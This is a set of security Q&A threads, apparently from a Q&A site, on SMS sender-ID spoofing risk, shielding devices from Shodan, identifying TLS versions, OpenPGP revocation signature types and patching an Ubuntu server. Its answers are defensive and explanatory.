Doing my research, I have seen from a long list of network carriers/providers that the capability of crafting your own alphanumeric senderID is possible. This gave me an assumption that most telecommunication companies around the globe including some in our area even if NOT ALL, are allowing alphanumeric senderID's. Agregators or other bulk providers are able to provide B2B/B2C commercial service. The problem is that even if these agregators like BRAND X for example, mandates a verification and justification process for customers in order to approve a request for alphanumeric senderID, the risk of exploiting this feature to commit fraud is high. There are agregators actually that does not validate the use of this feature and allows anything to be set.

I do not know if the feature is an explicitly "open standard" in the provisioning process of a GSM network and OR it was default OR it has something to do with SMS routing which then the reason why it is, what I understand and experienced so far is that when I try to send a fake message and spoof a senderID of a person coming from an MCC in the same country, once the recipient replied to the message it will be sent directly to the real person routing the message to the local carrier and not using the message-centre defined in the PDU. I would like to believe that this is a normal behavior and how senderID's are used in the routing process.

I would like to gather a public opinion regarding this matter especially those who are working in the network carrier industry and understands the SS7 protocol suite. My questions are:

I believe the GSM standards are governed by ETSI and network carriers are mandated to commit with these standards as well. When it comes to providing the use of alphanumeric senderID's, who is the governing body responsible?
Considering the possibility of abuse, why the feature is available for public use even without the coordination with the telco? I am thinking about a telco to telco trust relationship and explicitly disallowing the use if not coordinated by the mandating body (telco) itself?

who is the governing body responsible?

I've been out of the industry for a few years, but I'd be surprised if anything has changed since I worked there. There is no formal constraints on the content of the sender id, it's really very much up to the Telco. In the UK Ofcom extended their recommendations to providers,

(you can read the ofcom stuff here - it's mostly about witholding caller information rather than obscuring is falsifying it).


How can I protect my internet-connected devices from discovery by Shodan? There's been a lot of buzz around this recent CNN article about Shodan, a search engine that can find and allow access to unsecured internet-connected devices.

Shodan runs 24/7 and collects information on about 500 million connected devices and services each month.
It's stunning what can be found with a simple search on Shodan. Countless traffic lights, security cameras, home automation devices and heating systems are connected to the Internet and easy to spot.
Shodan searchers have found control systems for a water park, a gas station, a hotel wine cooler and a crematorium. Cybersecurity researchers have even located command and control systems for nuclear power plants and a particle-accelerating cyclotron by using Shodan.
What's really noteworthy about Shodan's ability to find all of this -- and what makes Shodan so scary -- is that very few of those devices have any kind of security built into them. [...]
A quick search for "default password" reveals countless printers, servers and system control devices that use "admin" as their user name and "1234" as their password. Many more connected systems require no credentials at all -- all you need is a Web browser to connect to them.

It sounds to me like some of these devices have been secured ostensibly but aren't actually secure because the passwords, etc., are obvious and/or unchanged from default settings.
How can I (either as a "normal" person or a professional) take steps to prevent my devices from being accessible by crawlers like Shodan? Are there other ways to mitigate my risk of discovery by something like Shodan?

Shodan references publicly available machines which work like this:

Just don't do it.

Edit: analogy is relevant ! Shodan connects to machines and asks for their "banner", a publicly available text which may simply say: "to enter, use this default password: 1234". You might want to avoid people knocking at the door by the simple expedient of installing a giant squid as a guard before the door (metaphorically, a firewall), but, really, it would be much safer to configure a non-default password.


How to find out Protocol used for web communcation (SSL vs TLS)? Please let me know if there is a way you can find out type of InfoSec protocol used for Web Communication?

In Chrome:

Press F12, then select "Security" at the top. Then on the left select the site. See screenshot.

In Firefox:

Select the information/security icon on the address bar, and follow the screenshots:


What are valid OpenPGP revocation signature types? I'm working on an analysis of the full OpenPGP keyring (ca. 3.8 million keys). I imported all keys to a local instance of hockeypuck (keyserver implemented in go). Hockeypuck uses a PostgreSQL database and I'm working with hockeypuck's database.

At the moment I'm not sure how to figure out whether a key is revoked. According to the RFC 4880, key revocation signature types are "0x20" and "0x28". But I also found revoked keys with "0x32" and other values. I wasn't able to find a list where all signature types are explained.

Can anybody provide a short list of all signature types with a short explanation, or at least a list of signature types to identify revoked keys?

OpenPGP Signature Types for Revocations

All OpenPGP signature packets and their meanings are described in RFC 4880, section 5.2 (signature packet), which is the resource you already seem to have found. The relevant signature types are 0x20, 0x28 and 0x30:

   0x20: Key revocation signature
       The signature is calculated directly on the key being revoked.  A
       revoked key is not to be used.  Only revocation signatures by the
       key being revoked, or by an authorized revocation key, should be
       considered valid revocation signatures.

   0x28: Subkey revocation signature
       The signature is calculated directly on the subkey being revoked.
       A revoked subkey is not to be used.  Only revocation signatures
       by the top-level signature key that is bound to this subkey, or
       by an authorized revocation key, should be considered valid
       revocation signatures.

   0x30: Certification revocation signature
       This signature revokes an earlier User ID certification signature
       (signature class 0x10 through 0x13) or direct-key signature
       (0x1F).  It should be issued by the same key that issued the
       revoked signature or an authorized revocation key.  The signature
       is computed over the same data as the certificate that it
       revokes, and should have a later creation date than that
       certificate.

Signature Type 0x32

A signature types 0x32 is not defined. OpenPGP key servers might contain wrong (and even illegitimate) data, they to not verify it (thoroughfully): this is task of an OpenPGP client. Regarding especially the value 32 as a decimal number, which is exactly 0x20, wrong encoding the signature type magic constant seems not beyond imagination. Do revocations with type 0x32 have anything in common?


Would an Ubuntu server accessible from the internet be hacked within days? I created an Ubuntu server on Digital Ocean to deploy my app on. Less then 24 hours later, I log in to the server and see this:

18 packages can be updated.
7 updates are security updates.

I install the updates, only to find a very similar situation the next day.

Even if I update every day, seems like the server will have multiple un-patched security issues at any given time!

Seems like a server accessible from the Internet is all but guaranteed to be hacked in short order, isn't it?

The problem is less likely the security of the Ubuntu system as shipped by the distributor. It is very rare that there are critical issues which allow an remote attacker to hack the system. And while there are sometimes critical issues which allow privilege escalation by a local user they are rare too. But you can actually limit the impact further by only installing the software you really need - anything which isn't there cannot be exploited.

What you see as security updates are almost always less critical problems, like exposing address layout which might be used to bypass ASLR, security updates for software you don't even use but have installed, updates for issues which happen only in specific environments or with non-standard configuration, updates for issues which allow applications to crash (denial of service) but cannot be used to take over the system etc. See usn.ubuntu.com for the details. Anything which might help an attacker to advance is considered a security issue but in most cases the attacker needs to be local already or can only do uncritical harm.

But in no way you should feel secure just because you've applied all security updates coming with the system or feel totally insecure just because you've missed the once from the last days. It is more likely that a hack will be done be exploiting issues in your own web application you've deployed on the server or that you've used weak password to protect parts of your system. It is actually the most common way that system gets owned through thus user-generated weaknesses and not through weaknesses caused by the underlying OS.

Thus, while you should keep your system up-to-date you should not blindly rely on these updates keeping your system secure. Additionally you should make sure that your own applications and configurations are secure too.  This aspect might even be more relevant in securing the system than keeping the system always up-to-date.